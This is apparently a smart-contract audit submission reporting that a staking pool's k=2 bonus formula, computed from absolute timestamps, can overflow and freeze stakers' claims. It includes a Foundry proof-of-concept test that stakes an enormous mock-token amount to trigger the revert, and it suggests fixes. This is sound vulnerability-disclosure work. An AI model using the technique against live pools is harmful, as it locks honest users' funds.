FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Absolute timestamp k=2 bonus math can overflow and freeze SURVIVED or EXPIRED claims for very high-supply ERC20s

Author Revealed upon completion

Root + Impact

Description

  • The pool distributes bonus using a k=2 time-weighted formula. The intended behavior is to reward stakers according to the square of their at-risk duration:

    score = amount * (T - entryTime) * (T - entryTime)

    Instead of computing the formula using relative time deltas, the implementation expands the equation with absolute Unix timestamps:

    globalScore =* snapshotTotalStaked - 2T * snapshotSumStakeTime + snapshotSumStakeTimeSq

    Because T and entryTime are Unix timestamps around 1.7e9, the intermediate products can overflow before the final Math.mulDiv() call is reached. This can make all claimSurvived() or claimExpired() calls revert, freezing honest stakers' principal and bonus in the pool.

    The issue requires an extremely large standard ERC20 balance, so the likelihood is low. However, once triggered, honest stakers cannot recover through withdraw(), claimSurvived(), or claimExpired().

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// @> Absolute timestamp is stored in stake-time accumulators.
uint256 contribTime = received * newEntry;
// @> Absolute timestamp squared is stored in stake-time-squared accumulators.
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
// @> Global accounting is reset using absolute timestamp products.
sumStakeTime = totalEligibleStake * t;
// @> This can remain safe at risk start, while the later claim-time T² product overflows.
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
// @> Checked multiplication can overflow before Math.mulDiv is reached.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> Checked multiplication or addition can overflow for very large total stake.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

The strongest overflow condition is not only:

snapshotTotalStaked > type(uint256).max / T / T

The addition can overflow too:

T * T * snapshotTotalStaked + snapshotSumStakeTimeSq

Since snapshotSumStakeTimeSq is approximately:

snapshotTotalStaked * riskWindowStart * riskWindowStart

the practical threshold is closer to:

snapshotTotalStaked > type(uint256).max / (T*T + riskWindowStart*riskWindowStart)

With timestamps around 1.75e9, this is approximately 1.89e58 base units, or 1.89e40 whole tokens for an 18-decimal ERC20.

Risk

Likelihood:

  • A very high-supply standard ERC20 is allowlisted as a stake token and an attacker controls enough balance to push snapshotTotalStaked above the absolute timestamp overflow threshold.

  • A nonzero bonus exists and the registry has observed an active risk window, causing _bonusShare() to execute instead of returning early.

Impact:

  • Honest stakers' principal and bonus claims revert in claimSurvived() or claimExpired() due to arithmetic overflow.

  • Stakers cannot use withdraw() after the outcome is set, and after the risk window starts withdrawals are permanently disabled.

  • The pool balance remains held by the contract while the accounting still records honest users as eligible.

Proof of Concept

Create test/poc/K2OverflowClaimFreeze.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract HugeToken {
string public name = "Huge Token";
string public symbol = "HUGE";
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
allowance[from][msg.sender] = allowed - amount;
}
balanceOf[from] -= amount;
balanceOf[to] += amount;
return true;
}
}
contract MockAgreement {
address public owner;
constructor(address owner_) {
owner = owner_;
}
function isContractInScope(address) external pure returns (bool) {
return true;
}
}
contract MockAttackRegistry {
IAttackRegistry.ContractState public state;
function setState(IAttackRegistry.ContractState newState) external {
state = newState;
}
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) {
return state;
}
}
contract MockSafeHarborRegistry {
MockAttackRegistry public attackRegistry;
constructor(MockAttackRegistry attackRegistry_) {
attackRegistry = attackRegistry_;
}
function isAgreementValid(address) external pure returns (bool) {
return true;
}
function getAttackRegistry() external view returns (address) {
return address(attackRegistry);
}
}
contract K2OverflowClaimFreezeTest is Test {
ConfidencePool pool;
HugeToken token;
MockAgreement agreement;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarborRegistry;
address sponsor = address(0xA11CE);
address attacker = address(0xBEEF);
address bob = address(0xB0B);
address carol = address(0xCAFE);
address moderator = address(0xD00D);
address recovery = address(0xFEE);
function testHugeStandardErc20StakeCanFreezeSurvivedClaimsViaK2Overflow() external {
uint256 startTime = 1_750_000_000;
vm.warp(startTime);
token = new HugeToken();
agreement = new MockAgreement(sponsor);
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry(attackRegistry);
pool = new ConfidencePool();
address[] memory accounts = new address[](1);
accounts[0] = address(0x1234);
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 365 days,
1,
recovery,
sponsor,
accounts
);
uint256 plannedRiskStart = startTime + 1 days;
uint256 terminalObservation = plannedRiskStart + 1 days;
/*
Pick an amount that keeps the risk-start square accounting safe:
amount * plannedRiskStart * plannedRiskStart <= type(uint256).max
but makes the later claim-time expanded absolute timestamp expression overflow:
terminalObservation * terminalObservation * amount
+ amount * plannedRiskStart * plannedRiskStart
> type(uint256).max
*/
uint256 hugeStake =
type(uint256).max / (
terminalObservation * terminalObservation
+ plannedRiskStart * plannedRiskStart
) + 1;
token.mint(attacker, hugeStake);
token.mint(bob, 100e18);
token.mint(carol, 1e18);
vm.prank(attacker);
token.approve(address(pool), hugeStake);
vm.prank(bob);
token.approve(address(pool), 100e18);
vm.prank(carol);
token.approve(address(pool), 1e18);
attackRegistry.setState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
vm.prank(attacker);
pool.stake(hugeStake);
vm.prank(bob);
pool.stake(100e18);
vm.prank(carol);
pool.contributeBonus(1e18);
vm.warp(plannedRiskStart);
attackRegistry.setState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(terminalObservation);
attackRegistry.setState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(stdError.arithmeticError);
vm.prank(bob);
pool.claimSurvived();
assertEq(pool.eligibleStake(bob), 100e18);
assertGt(token.balanceOf(address(pool)), 100e18);
}
}

Recommended Mitigation

Compute k=2 scores using relative at-risk durations instead of expanding through absolute Unix timestamps.
Example direction:
- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 userMinus = 2 * T * userSumStakeTime[u];
- uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
-
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
- uint256 minus = 2 * T * snapshotSumStakeTime;
- uint256 globalScore = plus > minus ? plus - minus : 0;
+ // Store per-deposit relative entry deltas or maintain accumulators relative to riskWindowStart.
+ // Then compute:
+ //
+ // uint256 dt = T - effectiveEntry;
+ // uint256 score = amount * dt * dt;
+ //
+ // This bounds the squared term by pool duration instead of Unix timestamp magnitude.
Alternatively, enforce a conservative stake cap before accepting deposits:
+ uint256 maxTotalStake = type(uint256).max / uint256(expiry) / uint256(expiry);
+ if (totalEligibleStake + received > maxTotalStake) revert InvalidAmount();
The relative-time rewrite is preferable because it removes the timestamp-magnitude multiplier entirely instead of relying on token-size policy limits.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!